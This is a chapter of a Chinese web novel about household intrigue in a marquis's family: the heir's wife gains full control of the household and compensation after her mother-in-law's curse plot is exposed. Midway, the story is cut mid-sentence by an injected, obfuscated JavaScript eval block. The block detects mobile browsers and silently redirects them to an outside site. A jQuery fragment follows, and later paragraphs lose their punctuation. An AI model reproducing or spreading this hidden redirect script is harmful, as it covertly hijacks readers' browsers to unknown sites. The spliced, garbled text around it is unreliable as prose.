还是那句话,娘亲对自己做过的事情,顾昀辞可以不去报复,但是娘亲他们对清婉做过的事情,不能就这样算了!
那个诅咒术何其恶毒啊!
顾昀辞肃然道:“爹,倘若不是我误打误撞,抓获了太仓那群人,恐怕昨天清婉他们就一尸三命了!”
忠勇侯傻眼了,他茫然道:“可是不应该啊,你母亲不应该这么做,她一直很疼爱你,清婉也是她亲自为你选的夫人,更不要说,清婉生的可是她的亲孙子啊。”
顾昀辞略过了前面那句话,他也十分不理解,“是啊,虎毒还不食子,她为何要对我的子嗣,她的亲孙动手呢?爹,你倘若不信,可以去大理寺,让那太仓亲口对您说。”
忠勇侯:“爹是信你的,你如今是大理寺卿了,案卷卷宗都在那,绝对不会信口雌黄,我就是不理解你母亲为何要这样做。”
顾昀辞叹气,“母亲本来是最疼爱我的,但是后来我出事,可能母亲以为我回不来了,就把所有的在意,都放在了二弟身上,一直对二房,多有偏颇。”
忠勇侯听后,猛然回过味来,好像自从去年‘阿瑞出事’后,冯氏的确是对二房越来越好了。
冯氏也真是的,阿瑞都回来了,她怎么还偏心二房?
看到忠勇侯眉宇间有所松动,顾昀辞再接再厉道:“爹,这件事我先来找您讨主意了,就是不想事情闹大了,因为闹大了也是丢咱们忠勇侯府的脸面,可是娘亲做的这件事,的确让我寒心,所以才想着,就让娘提前颐养天年好了,让清婉管家,其实也算是对她的一种弥补。”
这是最开始顾昀辞提的要求,本来忠勇侯是反对的,毕竟冯氏之前虽然有错,但错不至于废,而且她还年轻着,但结合了诅咒术一事来看,这个要求瞬间合情合理了。
而且,即便如此,还是让苏清婉那边吃了亏。
忠勇侯点了点头,“让清婉管家没问题,但到底还是委屈了她,这件事说到底是你娘做得不对,但咱们又不能送你娘去报官。”
顾昀辞:“太仓那边查过了,所有还没来得及做的,就算是未遂,这样可以帮忙免了我娘的罪。做诅咒术的十万两银子可以追回来,爹,这十万两就赔给清婉可好?”
忠勇侯咂舌,“你娘竟然有这么多的银子
?
他们夫妻两个各自都有私库,但没想过冯氏竟然有这么多银子!
实际上,这也是冯氏最后的银子了,她之前很多银子都给了儿子顾昀瑞,后来冯家出事了,自己的私库也少了一大半。
本以为这次诅咒术会生效,也可以彻底让阿瑞重新做回世子,银两可以以后徐徐图之。
结果一下子全都折进去了。
忠勇侯最后一锤定音,“就按照你说的来做。
顾昀辞终于微松一口气。
等回到书房的时候,他让云七去给自己倒一壶水,刚才同父亲说的话简直太多了,已经口干舌燥。
但就如清婉教过他的,有的时候多说一些话,说一些适当的善意谎言,在长辈跟前适当地示弱,会有奇效。
总是比自己之前一言不发,总是用郁闷的眼神看着爹娘偏宠大哥,效果要好得多。
他还要继续跟清婉学习啊。
**
“什么?把所有的管家权都给苏清婉?我不同意!
侯府管家一共有三副对牌,已经有两副在苏清婉手中了,就这,冯氏还后悔了,一直想着找机会把那两副再要回来。
如今竟然让她把最后剩下的一副对牌也交出去,那么从此以后,整个侯府后院,苏清婉最大了。
就连她这个婆母的吃穿用度,都要看苏清婉的脸色了!
其实这种情况很少见,除非是侯爷年纪太大了,主动退下来,让儿子袭爵,儿媳也从世子夫人变成了侯夫人,才会儿媳来管家。
哪里像现在这种情况?
冯氏五官狰狞,“我是病了,不是**!
忠勇侯都没有露面,而是让孙姨娘来传话,孙姨娘也不说别的,就把一张纸递给了冯氏。
冯氏看着上面的生辰八字,顿时哑火了。
孙姨娘道:“侯爷说您看到这个,就会明白是为什么了。这件事侯爷给您留了颜面,暂时压下来了,以后在后院给您建了小佛堂,您就在里面礼佛吧。
冯氏所有的愤怒都卡在了喉咙中,面如死灰。
忠勇侯都知道了?他是不是也知道两个孩子互换了?他是不是在怪她要害死他们的孙子,而且还互换这件事还知情不报?
冯氏突然不敢想下去了。
终于拿到了最后一副对牌,孙姨娘就去了玲珑苑,把对牌交给了苏清婉。
苏清婉坐在床榻上,让棋意接过了对牌,她说道:“孙姨娘,以后虽然这府中都是我来管着,但主院爹娘那边,到底是长辈,有事情还是得你来张罗着,一切按照份例来,倘若什么事情比较棘手,你再来找我。”
孙姨娘听后一喜,立刻点头道:“世子夫人放心吧,那边肯定不会有什么事的。”
苏清婉:“二姑娘的事情,你也不用担心,等以后我身子好了,就可以带着她去参加一些宴席了。”
孙姨娘更是受宠若惊,起身郑重地给苏清婉行了礼,然后才离开。
她离开后,棋意琴心等人一起拱手道:“恭喜姑娘,如今算是彻底管家了。”
苏清婉轻抚过那三副对牌,“万不可松懈,这只是刚刚开始而已。接下来我们都要打起精神来,任何事情都不得有闪失。”
“是。”
不一会儿,琴心从外头进来,她脸上带着喜色,“姑娘,世子让云七带人给送了十万两银子来,他说是诅咒那件事给您的补偿。”
谁都不会嫌弃银子多,更不要说,那可是十万两银子啊。
苏清婉听后嘴角微扬,这冯氏怕不是得肉疼**吧。
实际上冯氏得知了这件事后,简直都要疯了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430855|184895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她如今都没力气砸东西了,就躺在床榻上,唉声叹气。
“我的银子,我的银子啊!”
那可是她攒了好多年的私库,一下子就没了不说,还没发挥作用!
看冯氏哭得实在是伤心,翠玉劝道:“夫人,您别难过,咱们留得青山在,不怕没柴烧啊。”
冯氏:“我现在可是什么都没有了,管家权没了,银子也没有了,我还如何翻身?”
翠玉:“您还有二少爷啊。”
冯氏回过神儿来,她喃喃道:“对,我还有阿瑞,还有阿瑞!现在阿瑞在何处?”
翠玉一愣。
冯氏改口道:“你去让二少爷来见我,低调一些,不要让任何人发现!”
翠玉连忙应是。
这几日顾昀瑞都没有上值,连续吐了几次血,后来又晕倒后,整个人竟然也一病不起了,府医给他诊过,说是怒火攻心,需要调理几
日。
外人都有点意外为什么人家世子夫人刚生了龙凤胎这顾二少怎么就怒火攻心了呢?
真是让人很难猜啊。
因为顾昀瑞病重了再加上苏清婉的孩子也顺利生了下来所以忠勇侯到也没有像之前那样坚持让他搬出去。
说到底忠勇侯对这个儿子还没有彻底失望并不能下狠心也就是苏清婉跟顾昀辞看出来了如今也并不是将二房赶走的最好时机。
翠玉去传消息的时候苏溪月正好去给顾昀瑞送药顾昀瑞阴沉着脸直接将药给砸了。
“我不喝!”
苏溪月十分郁闷她不明白为什么现在顾昀瑞性情大变了整天阴阴沉沉的不吃药身体不好人就没有办法振作起来难道就这样认输了吗?
她突然发现现在的顾昀瑞越来越像原来的顾昀辞了整个人阴郁冷漠不容易让人接近。
之前顾昀瑞在人前是故意装成这样的但是眼下只有他们夫妇二人实在是没有理由装。
一瞬间苏溪月都有点恍惚了不知道眼前这人到底是顾昀瑞还是顾昀辞?
翠玉就是这个时候到的她红着眼道:“二少爷现在整个侯府的管家权都落在了世子夫人手中还让侯夫人去小佛堂礼佛夫人本就身子不好如今更是直接病倒在榻二少爷您快去看看夫人吧!”
顾昀瑞一听顿时愣住了。
而苏溪月更是破防了她震惊道:“也就是说如今忠勇侯府是她苏清婉执掌中馈了?怎么可能啊婆母虽然病了但她还在啊。”
这话虽然不中听但意思却是没有问题。
顾昀瑞沉了脸不行如果母亲失去了管家权
翠玉点头这才离开了。
傍晚时候苏溪月眼睁睁地看着顾昀瑞被人扶着去见冯氏了她六神无主地在屋子中踱来踱去。
如今苏清婉生了龙凤胎冯氏管家权被夺顾昀瑞官职上不如顾昀辞了地位上更是不如身子还伤了一言不合就吐血脾气还日益暴躁。
苏溪月跌坐在圆椅上喃喃道:“我是不是选错了……”